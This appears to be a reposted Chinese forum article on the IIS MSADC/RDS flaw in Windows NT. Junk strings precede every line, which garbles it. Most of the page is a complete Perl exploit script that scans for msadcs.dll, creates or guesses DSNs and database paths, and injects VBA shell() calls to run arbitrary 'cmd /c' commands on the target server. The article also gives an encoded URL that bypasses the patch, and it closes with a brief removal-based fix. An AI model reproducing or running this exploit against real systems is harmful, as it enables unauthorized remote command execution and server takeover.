IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
[ M'1aBx^ ^J G}|v3$ 涉及程序：
&yN<@. Microsoft NT server
r
{8 I|M*yObl6 描述：
> !2'|y^ 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
ZQ:Y5 ph 7-LeJRB 详细：
Ac54 VN 如果你没有时间读详细内容的话，就删除:
KYQ6U.%W c:\Program Files\Common Files\System\Msadc\msadcs.dll
8%"e-chd 有关的安全问题就没有了。
HT]ubw]rJ M(BZ<,9V 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
$@x kKe" oHYD6 qJX{ 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
pg<>Ow5,~l 关于利用ODBC远程漏洞的描述，请参看:
N3?d?+A$ [q@%)F http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm G9i#_
l gC 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
?m!FM:% http://www.microsoft.com/security/bulletins/MS99-025faq.asp Nt'5} zk]~cG5dT/ 这里不再论述。
K?>&Mr }u&JX 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
&-zI7@! U}7[8 &k1 /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
OTm`i>rB 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
n*1UNQp@]O 4D13K.h`O Px8E~X <@ #将下面这段保存为txt文件，然后: "perl -x 文件名"
BCbW;w8aI /[s$A? #!perl
u "%fz8v #
)\(pDn$W # MSADC/RDS 'usage' (aka exploit) script
G$j8I~E@ #
*G^]j
)/ # by rain.forest.puppy
*+AP}\p0F #
\
C^D2Z6 # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
ka*UyW} # beta test and find errors!
yV. P.Q . ~<+ use Socket; use Getopt::Std;
5"Yw$DB9 getopts("e:vd:h:XR", \%args);
g9XtE l.BNe)1!22 print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
D H^^$) [=Z{y8#:J if (!defined $args{h} && !defined $args{R}) {
.>YJ9 5&\ print qq~
~I<y ^]2{ Usage: msadc.pl -h <host> { -d <delay> -X -v }
$enh4 5Wy -h <host> = host you want to scan (ip or domain)
;w>B}v;RE -d <seconds> = delay between calls, default 1 second
lySa J d -X = dump Index Server path table, if available
.phQ7":` -v = verbose
^wlep1D
-e = external dictionary file for step 5
<'-me09C* FuKNH~MevQ Or a -R will resume a command session
a|NU)mgEI iCS/~[ ~; exit;}
H]e 2d| \ a!<^|C & $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
{aSq3C<r if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
rXPXO=F1/ if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
f"Iyo:Wt if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
2?j1~ ]DvZ $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
,3j7Y5v if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
BP6Shc|C wOOPWwk if (!defined $args{R}){ $ret = &has_msadc;
|> 4 { 4 die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
\K6J{;# L p!ErH]lH print "Please type the NT commandline you want to run (cmd /c assumed):\n"
9 :> K!@ . "cmd /c ";
s,Swl o7D! $in=<STDIN>; chomp $in;
c'2ra/?k $command="cmd /c " . $in ;
@jHio\/_ (R-Q9F+; if (defined $args{R}) {&load; exit;}
~'3% Qr je-s%kNlJ print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
Q 1Ao65 &try_btcustmr;
l&B'.6XKs GLyh1qNX print "\nStep 2: Trying to make our own DSN...";
qZh~Ay6I &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
[_ d*J/ X GN0'-z6Uy print "\nStep 3: Trying known DSNs...";
5b ,98Q &known_dsn;
'_)t R;s c & HoS print "\nStep 4: Trying known .mdbs...";
qE}Y VKV * &known_mdb;
L nGSYrx1 7W"menw if (defined $args{e}){
w3>|mDA}I print "\nStep 5: Trying dictionary of DSN names...";
vvxj{fxb) &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
4(82dmKO ny= {V* m print "Sorry Charley...maybe next time?\n";
R
28* exit;
Mk[`HEO YqgW8 EM ##############################################################################
k6BgY|0g C R`q!~8u sub sendraw { # ripped and modded from whisker
Oe`t! &v sleep($delay); # it's a DoS on the server! At least on mine...
< T f;p8 # my ($pstr)=@_;
z7C1&bGe socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
=*jcO119L die("Socket problems\n");
x3 | 'jmg if(connect(S,pack "SnA4x8",2,80,$target)){
v=VmiBq[ select(S); $|=1;
b`zf&Mn print $pstr; my @in=<S>;
}c%y0)fL select(STDOUT); close(S);
?C35 return @in;
T*yveo &j } else { die("Can't connect...\n"); }}
sA}R! e% 6{P ##############################################################################
9 NQq=@ MVZ>:G9: sub make_header { # make the HTTP request
k qw? X{ my $msadc=<<EOT
_+i z?|U POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
AHJ;>"] User-Agent: ACTIVEDATA
U mX[=D| Host: $ip
VWt 'Kx" Content-Length: $clen
%<yM=1~> Connection: Keep-Alive
V sEAo Hw &M2a ADCClientVersion:01.06
Bq_P?Q+\ Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
1o>R\g3 8[;oUVb5 --!ADM!ROX!YOUR!WORLD!
(B<AK4G Content-Type: application/x-varg
KTt$Pt/. Content-Length: $reqlen
Xkom@F~] ton`ji\^ EOT
:g[x;Q [@ ; $msadc=~s/\n/\r\n/g;
{LHe 6# return $msadc;}
~-wJ#E3g X:&p9_O@ ##############################################################################
lVtn$frp q}Z
T?Xk? sub make_req { # make the RDS request
7G/|e24 my ($switch, $p1, $p2)=@_;
Ws)X5C =A my $req=""; my $t1, $t2, $query, $dsn;
A'iF'< % 30+l0\1 if ($switch==1){ # this is the btcustmr.mdb query
vfJ k?
( $query="Select * from Customers where City=" . make_shell();
!!% [JR)cS $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
389.&`Q%Ut $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
a] =\h'S L]N2r MM elsif ($switch==2){ # this is general make table query
92VX5?Cyg $query="create table AZZ (B int, C varchar(10))";
`e>F<{
M6@ $dsn="$p1";}
@n* D>g k=2l9C3Z elsif ($switch==3){ # this is general exploit table query
Cf[F`pFM $query="select * from AZZ where C=" . make_shell();
N P'Ke: $dsn="$p1";}
t<,p-TM] g4 a X elsif ($switch==4){ # attempt to hork file info from index server
?0<INS~ $query="select path from scope()";
FNCLGAiZ $dsn="Provider=MSIDXS;";}
UQ])QTrZFi zB "
`i elsif ($switch==5){ # bad query
EZQ+HECpK $query="select";
~PW}sN6ppG $dsn="$p1";}
iCRw}[[ '8kjTf#g<l $t1= make_unicode($query);
Sx9:$"3.X $t2= make_unicode($dsn);
I{e^,oc $req = "\x02\x00\x03\x00";
vr ;Br-8 $req.= "\x08\x00" . pack ("S1", length($t1));
w })Pedg $req.= "\x00\x00" . $t1 ;
xWz;5=7a] $req.= "\x08\x00" . pack ("S1", length($t2));
_ZM9
"<M-X $req.= "\x00\x00" . $t2 ;
"4uUI_E9F; $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
kjC{Zr return $req;}
XW_xNkpL5c 8t: &#h ##############################################################################
9$V_=Bo 9^#gVTGXv sub make_shell { # this makes the shell() statement
0gD59N'C return "'|shell(\"$command\")|'";}
K6*UFO4}i vq:O H
H ##############################################################################
i2a"J&,6O L_1_y, 0N sub make_unicode { # quick little function to convert to unicode
1 lCikS^c my ($in)=@_; my $out;
Jo aDX , for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
|\n)<r_ return $out;}
#IhLpO qL5#.bR ##############################################################################
;A Gs1j 3k*:B~1 sub rdo_success { # checks for RDO return success (this is kludge)
:CST!+)o my (@in) = @_; my $base=content_start(@in);
*8X9lv.Z if($in[$base]=~/multipart\/mixed/){
\.;ct return 1 if( $in[$base+10]=~/^\x09\x00/ );}
=>}.W:= return 0;}
d wbY"t[9 *RbOQ86vP ##############################################################################
(&S[R{=^j 4 Re@ QOZ sub make_dsn { # this makes a DSN for us
q\'P1~ my @drives=("c","d","e","f");
JRjMt-7H_ print "\nMaking DSN: ";
C:GHP$/} foreach $drive (@drives) {
wQ=yY$VP print "$drive: ";
]RX tC* my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
,C,e/>+My "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
'= ,rb . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
kH8$nk eev $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
"K+ N f return 0 if $2 eq "404"; # not found/doesn't exist
vgA!?P3 if($2 eq "200") {
fZV8 o$V foreach $line (@results) {
7|M $W(P return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
Z: lB:U'o } return 0;}
AK
s39U' )Z8"uRTb0 ##############################################################################
R(? <97 [mf7>M`p]@ sub verify_exists {
J"Y my ($page)=@_;
H")N_BB my @results=sendraw("GET $page HTTP/1.0\n\n");
/=YqjZTCq return $results[0];}
B#k3"vk# g\\1C2jG ##############################################################################
'
MS!ss=r mB^I @oZ* sub try_btcustmr {
%V <F< my @drives=("c","d","e","f");
WW [`E my @dirs=("winnt","winnt35","winnt351","win","windows");
@>#{WI:"~ j`|^s}8t foreach $dir (@dirs) {
Ld}(*-1i print "$dir -> "; # fun status so you can see progress
Fi?Q
4b foreach $drive (@drives) {
N?=qEX|R print "$drive: "; # ditto
?dKa;0\ $reqlen=length( make_req(1,$drive,$dir) ) - 28;
uO _,n $reqlenlen=length( "$reqlen" );
FJd8s* $clen= 206 + $reqlenlen + $reqlen;
A |taP$ % {G Q
Aa my @results=sendraw(make_header() . make_req(1,$drive,$dir));
8>VI$
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
g N, k/U8 else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
: ,%J6Zh? Z.aLk4QO@ ##############################################################################
Q k;Kn *qO ]v9 j sub odbc_error {
i{|lsd(+ my (@in)=@_; my $base;
%uz|NRB= my $base = content_start(@in);
AFINm%\/0 if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
~X~xE]1o|U $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
iz9\D*or $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
}c35FM, $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
_ z<Y#mik return $in[$base+4].$in[$base+5].$in[$base+6];}
cVB |sYdf print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
k_K,J 6_) print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
e+F}9HR7 $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
j(Fa=pi /zl3&~4 ##############################################################################
OAW=Pozr9 Y/^[qD sub verbose {
|.Nr.4Yp my ($in)=@_;
RP~vB#} return if !$verbose;
1#> &p%P! print STDOUT "\n$in\n";}
J@ktj ( Z:U gozdC ##############################################################################
5?3Isw`v2 5 Q6{(q|M sub save {
MK-a $~< my ($p1, $p2, $p3, $p4)=@_;
!@^y)v open(OUT, ">rds.save") || print "Problem saving parameters...\n";
'0R/6Z|/Y print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
.K| P& close OUT;}
BN\fv, i>t W|N ##############################################################################
~']&. a9D gy_!Y sub load {
-SQJH}zCT+ my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
QmH/yy3.% open(IN,"<rds.save") || die("Couldn't open rds.save\n");
d7W%zg \T @p=<IN>; close(IN);
FX|0R#4vm $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
J0?$v6S $target= inet_aton($ip) || die("inet_aton problems");
Jw:Fj {D print "Resuming to $ip ...";
UM4 @H1 $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
#$rf-E5g-K if($p[1]==1) {
IwTr'}XIw $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
gro7*< $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
B^i mG my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
r~Y>+ln. if (rdo_success(@results)){print "Success!\n";}
*D=K{bUe' else { print "failed\n"; verbose(odbc_error(@results));}}
0)A=+zSS1 elsif ($p[1]==3){
Xzx[C_G if(run_query("$p[3]")){
E xep+x- print "Success!\n";} else { print "failed\n"; }}
U;x1}eFT elsif ($p[1]==4){
B#HnPUUK if(run_query($drvst . "$p[3]")){
$kxu;I print "Success!\n"; } else { print "failed\n"; }}
q3c*<n g# exit;}
Y w~;g: = 6?%]odI# ##############################################################################
ov\Ct%] F-$Z,Q]S sub create_table {
0M#N=%31 my ($in)=@_;
lQh
E]m>+ $reqlen=length( make_req(2,$in,"") ) - 28;
=w',-+@ $reqlenlen=length( "$reqlen" );
WdTbt $clen= 206 + $reqlenlen + $reqlen;
4r_!>['`" my @results=sendraw(make_header() . make_req(2,$in,""));
uIYcmF\? return 1 if rdo_success(@results);
gq
H`GI my $temp= odbc_error(@results); verbose($temp);
l9_m>X~ return 1 if $temp=~/Table 'AZZ' already exists/;
?)!Sm N/ return 0;}
F1 <489 I$aXnd6) ##############################################################################
Ff[H >Lp~ 5h|'DO x|o sub known_dsn {
,3VG.u;U # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
(y=dR1p my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
ltNu LZ "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
DapQ}2'_ "banner", "banners", "ads", "ADCDemo", "ADCTest");
I`/]@BdgY dzgs%qtK foreach $dSn (@dsns) {
PzIy">plm print ".";
R&NpdW N next if (!is_access("DSN=$dSn"));
4| zd84g if(create_table("DSN=$dSn")){
b%3Q$wIJ6 print "$dSn successful\n";
, ] f) ,;= if(run_query("DSN=$dSn")){
?@_v, ,| print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
rumAo'T/% print "Something's borked. Use verbose next time\n";}}} print "\n";}
>:.w7LQy/ rU;
g0'4e ##############################################################################
8' 3"uv b HO7* E sub is_access {
{udrT"h my ($in)=@_;
D8k*0ei& $reqlen=length( make_req(5,$in,"") ) - 28;
=Ml|l $ $reqlenlen=length( "$reqlen" );
a;56k $clen= 206 + $reqlenlen + $reqlen;
uA p
-$? my @results=sendraw(make_header() . make_req(5,$in,""));
q |n97.vD my $temp= odbc_error(@results);
~@%(RMJm& verbose($temp); return 1 if ($temp=~/Microsoft Access/);
C} Rs[ return 0;}
z8g=;>< btUq ##############################################################################
jVX._bEGX
s0gJ f[ sub run_query {
<Cu'!h_nL my ($in)=@_;
;JAK[o8i $reqlen=length( make_req(3,$in,"") ) - 28;
i B%XBR $reqlenlen=length( "$reqlen" );
d j3|f{kg{ $clen= 206 + $reqlenlen + $reqlen;
&K06}[J my @results=sendraw(make_header() . make_req(3,$in,""));
+*n] tlk return 1 if rdo_success(@results);
U SE [N my $temp= odbc_error(@results); verbose($temp);
5_v 5 return 0;}
3b<: :t O-i4_Y dVt ##############################################################################
v B Sm=M d?JAUbqy sub known_mdb {
+< gg my @drives=("c","d","e","f","g");
l<$rqz3D my @dirs=("winnt","winnt35","winnt351","win","windows");
D`V6&_. p my $dir, $drive, $mdb;
o(:{InpV%A my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
!{ $qMhT mRwXN*Izw # this is sparse, because I don't know of many
:}^Rs9 ' my @sysmdbs=( "\\catroot\\icatalog.mdb",
GNs#oM "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
-y%QRO( "\\system32\\certmdb.mdb",
\$'R+k-57; "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
:eSc ; Pl_^n Fm0 my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
|B
9 t- "\\cfusion\\cfapps\\forums\\forums_.mdb",
y*w"J3|29 "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
:){)JZ}-95 "\\cfusion\\cfapps\\security\\realm_.mdb",
5xhM0 ( "\\cfusion\\cfapps\\security\\data\\realm.mdb",
$6 W3EOl "\\cfusion\\database\\cfexamples.mdb",
dFzY OG1 "\\cfusion\\database\\cfsnippets.mdb",
T& ]Na "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
TS1pR"6l "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
Y^4q9?2G "\\cfusion\\brighttiger\\database\\cleam.mdb",
0%/,> IR>r "\\cfusion\\database\\smpolicy.mdb",
|4=ihB9+ "\\cfusion\\database\cypress.mdb",
P%iP:16 "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
: *=Ns[ Y "\\website\\cgi-win\\dbsample.mdb",
iM8sX
B "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
Hyf"iYv+ "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
Umij!=GPG^ ); #these are just
nZ~kZ |VS foreach $drive (@drives) {
</,.K`''W foreach $dir (@dirs){
g- XKP foreach $mdb (@sysmdbs) {
N5yJ'i ~,M print ".";
>A<Df if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
*E .LP1xP print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
]Z=Ij
gr$
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
(/-lV&eR print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
v3 -5"q!Sq } else { print "Something's borked. Use verbose next time\n"; }}}}}
&i)helXs] &0s*P G foreach $drive (@drives) {
lbd(j {h>4 foreach $mdb (@mdbs) {
F9%,MSt print ".";
: g 5(HH if(create_table($drv . $drive . $dir . $mdb)){
N=q#y@ L print "\n" . $drive . $dir . $mdb . " successful\n";
{y 1q7Z.M if(run_query($drv . $drive . $dir . $mdb)){
b(/j\NWC print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
[M`=HhJ4 } else { print "Something's borked. Use verbose next time\n"; }}}}
5PD SA* }
, }KwP *:Z |h c\jb ##############################################################################
l(#1mY5!q8 fSbS(a sub hork_idx {
'(tj[&aL print "\nAttempting to dump Index Server tables...\n";
@`6 }`k print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
X6'H`E[ $reqlen=length( make_req(4,"","") ) - 28;
V n ^) $reqlenlen=length( "$reqlen" );
Zd$JW=KR]l $clen= 206 + $reqlenlen + $reqlen;
J||E;=%f-Q my @results=sendraw2(make_header() . make_req(4,"",""));
oooS s&t if (rdo_success(@results)){
v G2.]? my $max=@results; my $c; my %d;
Nfg{,/ O for($c=19; $c<$max; $c++){
c+~ Lp SQ $results[$c]=~s/\x00//g;
;>8kPG $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
vmLpm xS $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
fa4=h;>a+ $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
5}
G:D $d{"$1$2"}="";}
]W;:|/ ,c foreach $c (keys %d){ print "$c\n"; }
7|Xe &o <n } else {print "Index server doesn't seem to be installed.\n"; }}
L1:nfH&:' z{=v)F5y ##############################################################################
/22nLc;/Cx S!`:E sub dsn_dict {
VNO'="U open(IN, "<$args{e}") || die("Can't open external dictionary\n");
\X5 3|Y;= while(<IN>){
';Nu& D#Ph $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
G0Hs,B@5? next if (!is_access("DSN=$dSn"));
1 =^ if(create_table("DSN=$dSn")){
sCkO0dl8 print "$dSn successful\n";
(vnoP< 0
if(run_query("DSN=$dSn")){
b4)k &*dfR print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
O:._W< print "Something's borked. Use verbose next time\n";}}}
2$ tQ @r print "\n"; close(IN);}
F_v-}bbcFQ T{tn.sT ##############################################################################
7*/J4M N |g!`\@O sub sendraw2 { # ripped and modded from whisker
`w+1C&>^[ sleep($delay); # it's a DoS on the server! At least on mine...
J0sG vj{ my ($pstr)=@_;
YQYX, b socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
%A) 538F die("Socket problems\n");
F\-Si!~oOz if(connect(S,pack "SnA4x8",2,80,$target)){
lov%V*tL print "Connected. Getting data";
x9&p!&*&IT open(OUT,">raw.out"); my @in;
>azEed<B select(S); $|=1; print $pstr;
`c9'0*- while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
Y& 5.9 s@' close(OUT); select(STDOUT); close(S); return @in;
2T?TM! \Q } else { die("Can't connect...\n"); }}
xp^ 7#`MJ? e1UITjy ##############################################################################
X8Fzs!L` toIYE*ocv= sub content_start { # this will take in the server headers
!W
/C[$E my (@in)=@_; my $c;
*QE"K2 \5 for ($c=1;$c<500;$c++) {
'g hys1H if($in[$c] =~/^\x0d\x0a/){
VX!hv`E if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
:BD>yOlG else { return $c+1; }}}
/tZ0
|B( return -1;} # it should never get here actually
-?z\5 z ,rai%T/rL ##############################################################################
I0_Ecp N57 1s sub funky {
,56;4)cv my (@in)=@_; my $error=odbc_error(@in);
WqQU@s A if($error=~/ADO could not find the specified provider/){
#w|5 jN? print "\nServer returned an ADO miscofiguration message\nAborting.\n";
dlR_ckp exit;}
Zi*% *n X if($error=~/A Handler is required/){
Oy an9~ print "\nServer has custom handler filters (they most likely are patched)\n";
P#;Th8k{K2 exit;}
k C`Rd:5 if($error=~/specified Handler has denied Access/){
zN")elBi print "\nServer has custom handler filters (they most likely are patched)\n";
X}W )3v exit;}}
^1 ;BiQ e 2wvc/gG6 ##############################################################################
F&az": H %z/v|e6 sub has_msadc {
T,OS 0;7O my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
>f@ G>H )+ my $base=content_start(@results);
CmH yAw( return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
q:]Q% I C^ return 0;}
Sc_5FX\Yx `HyF_m>\ ########################
J^:n* C
P)hi||[ ;_N5>3 C: 解决方案：
aq$q
~,E 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
,Xtj;@~- 2、移除web 目录: /msadc
